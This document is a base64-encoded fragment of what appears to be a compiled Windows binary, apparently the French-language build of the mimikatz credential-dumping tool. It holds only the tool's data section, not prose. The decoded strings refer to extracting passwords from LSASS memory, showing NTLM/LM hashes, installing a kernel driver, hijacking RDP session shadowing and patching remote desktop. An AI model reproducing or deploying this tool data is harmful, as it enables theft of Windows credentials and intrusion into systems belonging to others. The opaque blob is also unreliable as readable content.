lY3QARGVmYXVsdABTAEEATQBcAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABGAAAAAAAAAFUAcwBlAHIAcwAAAAAAAABOAGEAbQBlAHMAAABWAAAAUgBlAGcARQBuAHUAbQBLAGUAeQBFAHgAVwAgADoAIAAAAAAAAAAAAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAVQBzAGUAcgBzACAAOgAgAAAAAAAAAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgAEYAIAA6ACAAAAAAAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgAEYAIAA6ACAAAAAAAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIAA6ACAAAABOAFQATABNACAAOgAgAAAATABNACAAIAAgADoAIAAAAFUAcwBlAHIAIAA6ACAAAABSAGkAZAAgACAAOgAgAAAAkBkGgAEAAAAIGQCAAQAAABgZBoABAAAA2IMCgAEAAAC4JgCAAQAAAMQmAIABAAAAWHkCgAEAAABYeQKAAQAAANAmAIABAAAAWHkCgAEAAABceQKAAQAAAJR5AoABAAAASHoCgAEAAAD8egKAAQAAAPx6AoABAAAAFHsCgAEAAADQJgCAAQAAAJgoAIABAAAAYBgGgAEAAACEgwKAAQAAANAXBoABAAAAMIMCgAEAAADwFgaAAQAAAJyEAoABAAAAcBYGgAEAAAAYhQKAAQAAALgmAIABAAAAxCYAgAEAAAC0fQKAAQAAAPx/AoABAAAA0CYAgAEAAABIgAKAAQAAAFx5AoABAAAAlHkCgAEAAABIegKAAQAAAKiAAoABAAAAKIICgAEAAAAUewKAAQAAANAmAIABAAAAmCgAgAEAAACoFQaAAQAAADyEAoABAAAAAAAAAJgAAAAAAAAAAAAAACAVBoABAAAAtFoCgAEAAADQWQKAAQAAAMBZAoABAAAAKFoCgAEAAAAYWgKAAQAAAHRaAoABAAAAcFoCgAEAAACUWgKAAQAAAHBaAoABAAAAoBQGgAEAAABkEAGAAQAAALSOAoABAAAA3IwCgAEAAADwigKAAQAAAESKAoABAAAAmIkCgAEAAADsiAKAAQAAAECIAoABAAAAGIYCgAEAAAAgFAaAAQAAAOCZAoABAAAA9JgCgAEAAAD4mAKAAQAAAPyYAoABAAAASJkCgAEAAACUmQKAAQAAAFIAZQB2AGUAcgB0AFQAbwBTAGUAbABmAAAAAAAAAAAAcgBlAHYAZQByAHQAAAAAAFIAZQB2AGUAcgB0AFQAbwBTAGUAbABmACAAOgAgAAAAbwBrAAAAAABrAG8AIAA7ACAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABNAFMAVgAxAF8AMAAAAAAAAABtAHMAdgAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAAVwBEAGkAZwBlAHMAdAAAAAAAdwBkAGkAZwBlAHMAdAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAAAAAAHQAcwBwAGsAZwAAAAAAAAAAAAAAAAAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAATABpAHYAZQBTAFMAUAAAAAAAbABpAHYAZQBzAHMAcAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAZQBzACAAcAByAG8AdgBpAGQAZQByAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAAAAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAAAAAAAcgBlAGMAaABlAHIAZQAgAGQAaQByAGUAYwB0AGUAbQBlAG4AdAAgAGQAYQBuAHMAIABsAGUAcwAgAHMAZQBnAG0AZQBuAHQAcwAgAG0A6QBtAG8AaQByAGUAIABkAGUAIABMAFMAQQBTAFMAIABkAGUAcwAgAG0AbwB0AHMAIABkAGUAIABwAGEAcwBzAGUAcwAAAAAAAABzAGUAYQByAGMAaABQAGEAcwBzAHcAbwByAGQAcwAAAEQAbwBuAG4A6QBlAHMAIABMAFMAQQBTAFMAIABlAG4AIABlAHIAcgBlAHUAcgAAAGwAcwBhAHMAcgB2AAAAAABtAHMAdgAxAF8AMAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAdABzAHAAawBnAC4AZABsAGwAAAAAAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUAcwBMAGkAcwB0AEYAbwByAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAAAAAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AACAAfQAAAAAAXQAgAHsAIAAAAAAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAAAAAAAAkAIAAqACAAWwAAAAAAAABuAC4AdAAuACAAKABMAFUASQBEACAASwBPACkAAAAAAEQAbwBtAGEAaQBuAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIABwAHIAaQBuAGMAaQBwAGEAbAAgACAAIAAgACAAIAAgADoAIAAAAAAAUABhAGMAawBhAGcAZQAgAGQAJwBhAHUAdABoAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuACAAIAA6ACAAAAAAADsAAAAAAAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAGIAdABlAG4AaQByACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZABlACAAcwBlAHMAcwBpAG8AbgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcA6QBuAHUAbQBlAHIAZQByACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAAAAAAAARADpAG0AYQByAHIAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAAAAAAAAAEEAcgByAOoAdABlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAUwB1AHAAcAByAGkAbQBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAAAAAAAAAAAAAAAASQBuAHMAdABhAGwAbABlACAAZQB0AC8AbwB1ACAAZADpAG0AYQByAHIAZQAgAGwAZQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAAAAAAAAAAAAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAAAAAAAAVwBJAE4AMwAyAF8ATwBXAE4AXwBQAFIATwBDAEUAUwBTAAAAAAAAAFcASQBOADMAMgBfAFMASABBAFIARQBfAFAAUgBPAEMARQBTAFMAAABDAE8ATgBUAEkATgBVAEUAXwBQAEUATgBEAEkATgBHAAAAAAAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAAAAAABQAEEAVQBTAEUARAAAAAAAUgBVAE4ATgBJAE4ARwAAAFMAVABBAFIAVABfAFAARQBOAEQASQBOAEcAAAAAAAAAUwBUAE8AUABfAFAARQBOAEQASQBOAEcAAAAAAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAAAAAAAAAAABbACoAXQAgAFAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAbgBvAG4AIABwAHIA6QBzAGUAbgB0ACwAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAuAAAAAABtAGkAbQBpAGsAYQB0AHoALgBzAHkAcwAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAAAAAAFsAKwBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABPAEsAAABbAC0AXQAgAEEAdAB0AHIAaQBiAHUAdABpAG8AbgAgAGQAZQBzACAAZAByAG8AaQB0AHMAIAA6ACAASwBPACAAOwAgAAAAAAAAAAAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQA6QBqAOAAIABwAHIA6QBzAGUAbgB0AAAAAAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAAAAAAAAAAAAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAAAAAAAAAAAAAEUAZgBmAGEAYwBlACAAbAAnAOkAYwByAGEAbgAgACgAbgBlACAAZgBvAG4AYwB0AGkAbwBuAG4AZQAgAHAAYQBzACAAZQBuACAA6QB4AGUAYwB1AHQAaQBvAG4AIABkAGkAcwB0AGEAbgB0AGUALAAgAHYAaQBhACAAUABzAEUAeABlAGMAIABwAGEAcgAgAGUAeABlAG0AcABsAGUAKQAAAAAAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAABDAGEAbABjAHUAbABlACAAbABhACAAcgDpAHAAbwBuAHMAZQAgAOAAIABsAGEAIABHAHIAYQBuAGQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAHMAdQByACAAbABhACAAVgBpAGUALAAgAGwAJwBVAG4AaQB2AGUAcgBzACAAZQB0ACAAbABlACAAUgBlAHMAdABlAAAAAAAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAAAAAAFIAZQB0AG8AdQByAG4AZQAgAGwAYQAgAHYAZQByAHMAaQBvAG4AIABkAGUAIABtAGkAbQBpAGsAYQB0AHoAAAB2AGUAcgBzAGkAbwBuAAAATQBlAHQAcwAgAGUAbgAgAHAAYQB1AHMAZQAgAG0AaQBtAGkAawBhAHQAegAgAHUAbgAgAGMAZQByAHQAYQBpAG4AcwAgAG4AbwBtAGIAcgBlACAAZABlACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAGUAcwAAAAAAcwBsAGUAZQBwAAAAAAAAADEwOjEwOjI1AAAAAAAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAAAAAAAEYAaQBuACAAIQAAAAAAAABBAGYAZgBpAGMAaABlACAAbAAnAHUAdABpAGwAaQBzAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAAAAAAAAAAAAAAAAAABBAGYAZgBpAGMAaABlACAAbABlACAAbgBvAG0AIABkACcAbwByAGQAaQBuAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFUAcwBlAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBzAHkAcwB0AGUAbQA6ADoAZwBlAHQAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIAA6ACAAAAAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAAbABlACAAYgB1AHIAZQBhAHUAIADgACAAZABpAHMAdABhAG4AYwBlACAAcABvAHUAcgAgAGQA6QBwAGEAcwBzAGUAcgAgADIAIABjAG8AbgBuAGUAeABpAG8AbgBzACAAcwBpAG0AdQBsAHQAYQBuAOkAZQBzAAAAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAAAB2AGkAZQB3AHMAaABhAGQAbwB3AAAAAAAAAAAAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAAAAAAAAbQBvAGQAaQBmAHkAcwBoAGEAZABvAHcAAAAAAAAAAABTAGUAcwBzAEkAZAAJAEUAdABhAHQACQBzAHQAcgBFAHQAYQB0AAAAbQBvAGQAXwB0AHMAOgA6AGcAZQB0AFMAZQBzAHMAaQBvAG4AcwAgADoAIAAAAAAAUABJAEQACQBTAGUAcwBzAEkAZAAJAFUAdABpAGwAaQBzAGEAdABlAHUAcgAAAAAARABJAFMAQQBCAEwARQAAAEkATgBUAEUAUgBBAEMAVAAAAAAAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAAAAAAFYASQBFAFcAXwBOAE8AQQBTAEsAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUwBlAHIAdgBpAGMAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAASQBOAFQARQBSAEEAQwBUACAAKABjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgApAAAAVgBJAEUAVwAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAAAAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAAAAAAFMAaABhAGQAbwB3AAAAAABEAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAEkAZABsAGUAAAAAAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAAAAAAAEQAbwB3AG4AAAAAAAAAAABJAG4AaQB0AAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAAAAFMAdQBzAHAAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAGEAYwB0AGkAZgAAAFIAZQBwAHIAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAHMAdQBzAHAAZQBuAGQAdQAAAAAAQQByAHIA6gB0AGUAIAB1AG4AIAB0AGgAcgBlAGEAZAAAAAAAAAAAAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAHEAdQBpAHQAAAAAAAAAAABQAEkARAAJAFQASQBEAAkAcAByAFQAaAAAAAAAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAAAAAAHQAaAByAGUAYQBkACAAAABLAE8AIAAtACAAbQBvAGQAXwB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAAAAACcAIABpAG4AdgBhAGwAaQBkAGUAAAAAAGEAcgBnAHUAbQBlAG4AdAAgACcAAAAAAAkAcwB1AHMAcABlAG4AcwBpAG8AbgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdQBzAHAAZQBuAGQAIAA7ACAAAAAJAGEAcgByAOoAdAAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAAAAAAAAAAAAAE0AZQB0ACAAZQBuACAAcABhAHUAcwBlACAAbABlACAAYwBoAHIAbwBuAG8AbQDoAHQAcgBlACAAZAB1ACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAAAAcABhAHUAcwBlAAAAAAAAAAAAAAAAAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAAAAAAAAUABhAHQAYwBoAOkAIAA7ACkAAAAAAAAAdwBpAG4AbQBpAG4AZQAuAGUAeABlAAAAbgAuAGEALgAgACgAawBlAHIAYgBlAHIAbwBzACAASwBPACkAAAAAAG4ALgBzAC4AIAAoAFMAdQBwAHAAQwByAGUAZAAgAEsATwApACAALwAgAAAAAAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAAAAAAAAAAAAAAAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAAAAAAAAbgAuAHMALgAgACgAUAByAGkAbQBhAHIAeQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABLAE8AKQAAAAAAAAAAAAAAAAAAAAAAbgAuAGUALgAgACgATABlAGMAdAB1AHIAZQAgAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAAAAAAG4ALgBzAC4AIAAoAEMAcgB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